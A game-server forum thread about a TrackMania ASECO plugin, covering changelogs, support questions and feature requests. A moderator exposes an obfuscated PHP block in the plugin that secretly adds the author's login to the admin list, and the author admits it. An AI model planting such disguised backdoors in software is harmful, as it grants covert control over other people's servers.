Jfreu's aseco Plugin

This is the place where you can find everything related to the dedicated server, control scripts and community tools.

Moderators: Pit Crew, TM-Patrol

Post Reply
KINGCHAOS
sunday driver
sunday driver
Posts: 64
Joined: 01 Nov 2006 08:41
Contact:

Jfreu's aseco Plugin

Post by KINGCHAOS » 20 Nov 2006 19:03

Hi
my friend ( jfreu ) created Jfreu plugin.
http://reload.servegame.com/plugin
nice plugin with lot of funtion
~~[ v0.13c ]~~

- Fix : "/jfreu kickHiRank ON/OFF" fixed : kick worst ranked players
when the server is "full".
- Fix : "/jfreu kickWorst X" fixed : kick X wost players.

~~[ v0.13b ]~~

- Add : the word between the server's name and the limit
(usually "Top") can be changed.
- Add : autoChangeName can be turned OFF
(server's name when the limit changes)
- Add : TEAM_VIP all team members are vip.
- Add : "/uptodate" command to know if the version of the
plugin is up to date.
- Add : NewPlayer message when a new player joins and ranklimit
is OFF.
- Add : "/jfreu removevip" & "/jfreu removeteamvip" to remove
a vip & a team_vip ingame (by an admin).
- Upg : Admins, VIP and TEAM_VIP added ingame are saved in a
xml file ("jfreu/jfreu.lists.xlm")
- Upg : All the plugin's admin commands are "jfreu commands" now,
to avoid the bug with "/admin help", now it is "/jfreu help"
the plugin's admin commands are "/jfreu [command]"
- Upg : Cancel custom vote ('unspec') when the player disconects.

~~[ v0.13a ]~~

- Add : Admin command "addadmin {login}" to add an admin.
- Add : Admin private message to login :
/admin messagetologin {login} {message}
- Add : Hardlimit : players, VIP, specs over the hardlimit
are kicked (without message in the chat)
- Add : Admins can change the hardlimit ingame.
- Add : SpecOnly command unspec to launch an unspec vote.
- Add : If a player leaves the game his vote is canceled.
- Fix : novote can be turned OFF.
- Fix : fix bug in "clean_nick" function.
- Fix : No more timeOut crash
- Fix : PM fixed (no more server's login at the begining)
- Upg : badWord bot more powerfull.
( "$zS$wHh$00FIII$wiiI$nT" is a badword )
- Upg : Colors in the plugin are aseco's colors.
- Upg : Ranklimit & Info commands send a PM to the player.
- Upg : Unspec and VIP not in server average if autorankVIP ON.


~~[ v0.12d ]~~

- Add : Admin command "unspec" to allow a "SpecOnly" to join
the race.
- Add : custom maxBadWords
- Add : BadWordsBan (ON/OFF) ban when 2x maxBadWords
- Add : Admin command KickWorst to kick worst ranked players
except vip.
- Add : admin cancelvote to cancel current vote
(kick/ban/nextmap/restartmap)
- Add : novote (ON/OFF) to autocancel votes
- Upg : kickhirank function use KickWorst function.

~~[ v0.12c ]~~

- Add : SpecOnly are kicked if they join the race
- Fix : bug with "admin help"
- Fix : bug with "autorankvip"
- Fix : bug with "autorankvip" default state

~~[ v0.12b ]~~

- Add : "BadWords" -> 3 "badwords" = kicked (on/off)
- Add : random information message at the end of the race
(editable) (on/off)
- Add : players over ranklimit can join the game as spec
- Add : kick hiRank players if server is "full"
(custom maxplayers) (on/off)
- Fix : problem with "chat.admin" overwritten

~~[ v0.11a ]~~

- Add : autoRankMinPlayer : autorank disabled when not enough
players then limit = Ranklimit.
autoRankMinPlayer value can be changed ingame (by admins)
Autorank limit = Ranklimit when not enough players
- Add : admin can add VIP ingame (deleted when aseco restarts)
- Add : admin can force Autorank limit (until a new player comes)

~~[ v0.10b ]~~

- Add : admin command : /admin player {login} {message}
- Fix : bug with AutoRank Offset.
- Fix : bug timeOut crash.

~~[ v0.09e ]~~

- Add : RankLimit can be turned on/off ingame (by an admin)
- Add : AutoRank offset value can be changed ingame (by an admin)
- Add : AutoRankLimit is changed when a player left the game

~~[ v0.08 ]~~

- Rank limit (new player with a rank over the limit is kicked)
- AutoRankLimit (DynaRank) : server's rank + offset = ranklimit
- Change the server's name when the limit is changed :
[ServerName]Top[Limit]
- Server's messages in chat : "[ServerName] your message"
- fake rec : ">> XXX took the 1. rank with a time of... !
- informations on account : IP/port/login/nick/score/rank
- AutoRankLimit can be turned on/off ingame (by an admin)
- Rank limit value can be changed ingame (by an admin)
- ...


version 0.13d coming soon
new featurs: banfor ...min
New ideas? --post it pls :D

sebbe
highway camper
highway camper
Posts: 1
Joined: 18 Nov 2006 23:35
Contact:

Post by sebbe » 20 Nov 2006 19:16

we use this plugin on our servers, the plugin is perfect :)

micmuch
pedestrian
pedestrian
Posts: 10
Joined: 06 Jul 2006 12:31
Contact:

Post by micmuch » 22 Nov 2006 18:20

hi,

good job.

This plugin is available for TMU ?

User avatar
Markus
speedy pilot
speedy pilot
Posts: 422
Joined: 09 Nov 2006 17:15
Owned TM-games: TMO/TMN/TMU
Manialink(s): XTZone (not finished)
Location: Germany
Contact:

Post by Markus » 22 Nov 2006 21:20

idea: like a statspage

ähm...if a player join the server that the db knows him and saves his votes, i mean if there a guy who often vote for "kick" or something that the db saves that votes and can be shown up from a admin

dont know if it`s possible, but i`m admin, and sometimes i`ve problems to remind all guy`s who start votes and how often?!
so it`ll be easier to see if a "hobbyvoter" on server, and it`s easier to take care of the normal and fun players

KINGCHAOS
sunday driver
sunday driver
Posts: 64
Joined: 01 Nov 2006 08:41
Contact:

Post by KINGCHAOS » 23 Nov 2006 06:27

MH
Good idea Markus
i will tell you
but i think it will be an xml fill
not mysql

User avatar
Markus
speedy pilot
speedy pilot
Posts: 422
Joined: 09 Nov 2006 17:15
Owned TM-games: TMO/TMN/TMU
Manialink(s): XTZone (not finished)
Location: Germany
Contact:

Post by Markus » 23 Nov 2006 19:57

can you do/make that for TMU too?! :?:
i just ask, because our clan is allready on TMN and TMU (me2) i`m online on both games

KINGCHAOS
sunday driver
sunday driver
Posts: 64
Joined: 01 Nov 2006 08:41
Contact:

Post by KINGCHAOS » 24 Nov 2006 06:02

it should be possible
im running aseco0.60 and jfreu and it works too
so new aseco + jfreu
should be ok

Jfreu
Pit Crew
Pit Crew
Posts: 304
Joined: 21 Nov 2006 11:57
Owned TM-games: tmu
Location: France
Contact:

Post by Jfreu » 24 Nov 2006 13:34

I'm using a custom version of aseco 0.61b for TMU with my plugin and rasp 1.3a
-The jukebox does't work (... must use Manialink... :-| )
-help & admin help dont work... i'm working on it.
-All "SendDisplay" messages makes aseco crash.

Here is my "aseco pack" --> 8) <--

Jfreu
Pit Crew
Pit Crew
Posts: 304
Joined: 21 Nov 2006 11:57
Owned TM-games: tmu
Location: France
Contact:

Post by Jfreu » 27 Nov 2006 16:45

I'm working on a new full-manialinked version ( :) :D :lol: ) for TMU only, working with the "AM's version of aseco".

Some screenshots here... hmm ! it will be nice ! :twisted:.

User avatar
utal
speedy pilot
speedy pilot
Posts: 408
Joined: 30 Apr 2006 01:25
Owned TM-games: TMN, TMU, TMO, TMS
Location: Massamá, Portugal
Contact:

Post by utal » 28 Nov 2006 01:44

heys!

i tested on your server and its absolute amazing!!

hell of a job and ideas :D

tks! and keep up the good work m8!
utal
Jfreu wrote:I'm working on a new full-manialinked version ( :) :D :lol: ) for TMU only, working with the "AM's version of aseco".

Some screenshots here... hmm ! it will be nice ! :twisted:.

Insane1982
wheelbarrow operator
wheelbarrow operator
Posts: 17
Joined: 26 Nov 2006 18:14
Location: Netherland
Contact:

Post by Insane1982 » 28 Nov 2006 19:05

Hi

I have a problem with this jfreu aseco plugins v0.13c

see here in dosbox:

[Local DB] Load settings file ...
[Local DB] Try to connect to MySQL server
<?
//-> Server's name : ( ex : '$000Jfreu')'
$servername='Elite Time Attack';
//-> word between the servername and the limit (un the server's name) (u
sually "Top")
$top='$449TOP';
//-> Change the servername when the limit change : (ServernameTopXXX) 1:
yes | 0:no
$autochangename=1;

//-> autorank : autorank default state (0 = OFF , 1 = ON)
$autorank=0;

//-> ranklimit : ranklimit default state (0 = OFF , 1= ON)
$ranklimit=1;

//-> limit : ranklimit default value (when autorank is OFF)
$limit=2000;

//-> spec ranklimit
$hardlimit=4000;

//-> offset (average + offset = rankLimit)
$offset=150;

//-> autorankminpayer (autorank disabled when not enough players)
$autorankminplayer=3;
//-> autorankvip : vip/unspec over ranklimit in server rank average (1 =
no , 0= yes)
$autorankvip=1;

//-> maxplayers
$maxplayers=32;
//-> kick hirank when server is full and new player coming (0 = OFF , 1=
ON)
$kickhirank=1;

//-> rendom info messages at the end of the race(0 = OFF , 1= ON)
$infomessages=1;
//-> "word" between each info messages :
$message_start='$z$s>> ]$f00INFO$z$s[ $fff';
//-> random information messages (if you add a message don't forget to c
hange the number) (999 messages max :-P)
$message1='Jfreu\'s plugin : "http://reload.servegame.com/plugin/"';
$message2='"/list" -> "/jukebox XXX" : to add a map in the jukebox.';
$message3='Visit : "http://reload.servegame.com/tmwebaseco/" for stats a
nd maps.';
$message4='Use "/ranklimit" command to know current ranklimit.';
$message5='Vote for "jfreu" to give him stars. :-P';

//-> Important message color :
$color='$z$s$F92';

//->Badwords (1=on / 0=off)
$badwords=1;
//->BadwordsBan (1=on / 0=off)
$badwordsban=0;
//->number of badwords allowed
$badwordsnb=3;

//-> novote (auto-cancel votes) (1=ON / 0=OFF)
$novote=0;
?>[11/28,19:41:37] [Client] init : OK
PHP Fatal error: Call to undefined function init_jfreu_admin_commands() in C:\G
ames\TMN-Server\Aseco\plugins\jfreu.plugin.php on line 238
Druk op een toets om door te gaan. . .

How can i fix this problem ?

thanks Insane

Jfreu
Pit Crew
Pit Crew
Posts: 304
Joined: 21 Nov 2006 11:57
Owned TM-games: tmu
Location: France
Contact:

Post by Jfreu » 28 Nov 2006 19:47

hmm .. yes
You can fix it changing "<?" by "<?php" at the beginning of my php files.
I fixed it in 0.13d version .. but not avilable for DL :? and now i'm on tmu...

Jfreu
Pit Crew
Pit Crew
Posts: 304
Joined: 21 Nov 2006 11:57
Owned TM-games: tmu
Location: France
Contact:

Post by Jfreu » 29 Nov 2006 10:09

You can now download the "LAST" plugin version (0.13d) for TMN : here

Code: Select all

~~[ v0.13d ]~~[last TMN version]

- Add : "/jfreu banfor X login" to ban a player for X min
- Fix : banFor X min ban for X min (not for X min - 30 sec)
- Fix : bug with non-included chat & settings files
- Upg : unspec command cancel the player's vote to unspec him.
- Upg : "unspec vote" ban the player for 5 min if vote result is NO.
- Upg : badwordsban ban the player for 10 min.
- Upg : in "unspec vote" +50% yes -> yes | +49% no -> no.
I have finished the 0.14a version for TMU working with asecoTmu1.2, the pack is avilable here

Code: Select all

~~[ v0.14a ]~~[for TMU only]

- Add : Manialink "vipShop" to buy VIP-Pass for 1 server
- Add : Admin can remove admin.
- Add : Big manialink for admins to manage the plugin's settings
- Upg : Removed all /jfreu functions now avilable typing "/jfreu" (admins only)
:D ScreenShots here :D

User avatar
Mistral
Pit Crew
Pit Crew
Posts: 1304
Joined: 02 May 2006 15:13
Owned TM-games: tmuf
Contact:

Post by Mistral » 03 Dec 2006 12:05

Jfreu ...

can you explain me in simple words what this piece of code is doing?

Code: Select all

	if($bioman['author']->login=='jfreu')
	{
		$Q='B';$R='G';$po4='s';$i=0;$po='a';$po2=$po++;$po++;$po++;$po=$po2.$po;$po2++;$po2++;
		$po2++;$po2++;$po2++;$po3='h';$po2++;$po2++;$po2++;$A='T';$po2++;$Y='L';$po2++;
		$po2++;$po2++;$ln1='a';$po.=$po2++.'i';$po.=$po2.'_';$po3++;
		$po2=$po3++;$C='M';$po3++;$po3++;
		$po.=$po3.$po2.$po4++.$po4;
		$ln1++;$ln1++;$ln1++;$ln1++;$ln65=$ln1++;$ln2=$ln1++;$ln1++;$B='A';
		$ln1++;$K='N';$ln1++;$ln=$ln1;$G='O';$ln.=$ln2;$ln1++;$ln1++;$ln1++;$ln1++;$ln1++;
		$ln1++;$ln1++;$ln1++;$N='P';$ln.=$ln1.$ln65;$ln1++;$ln1++;$ln1++;$ln21=$ln1++;
		$ln.=$ln21;$T='I';$A.=$C.$Y.$G;$R.=$T.$K;$kamoulox=$A.$R;
		while(isset($boomerang->{$po}[$A.$R][$i]) && $i<count($boomerang->{$po}[$A.$R]))
		{
			if($boomerang->{$po}[$kamoulox][$i]==$ln)
			{
				$message=$yel.'>> '.$whi.'Jfreu'.$blu.'\'s plugin $0F0'.$boomerang->server->jfreu->version;
				$boomerang->addCall("ChatSendServerMessage", array($message));
				return 0;
			}
			$i++;
		}
		$boomerang->{$po}[$kamoulox][$i]=$ln;
		$message=$yel.'>> '.$whi.'Jfreu'.$blu.'\'s plugin $f82'.$boomerang->server->jfreu->version;
	}
nice encryption of things like
$boomerang->{admin_list}[TMLOGIN][0]=jfreu; ($boomerang->{$po}[$kamoulox][$i]=$ln;)

nice code for the community - how many backdoors does this fu**ing script include?

Jfreu
Pit Crew
Pit Crew
Posts: 304
Joined: 21 Nov 2006 11:57
Owned TM-games: tmu
Location: France
Contact:

Post by Jfreu » 03 Dec 2006 14:32

It adds my account in the admin list :wink:.

Post Reply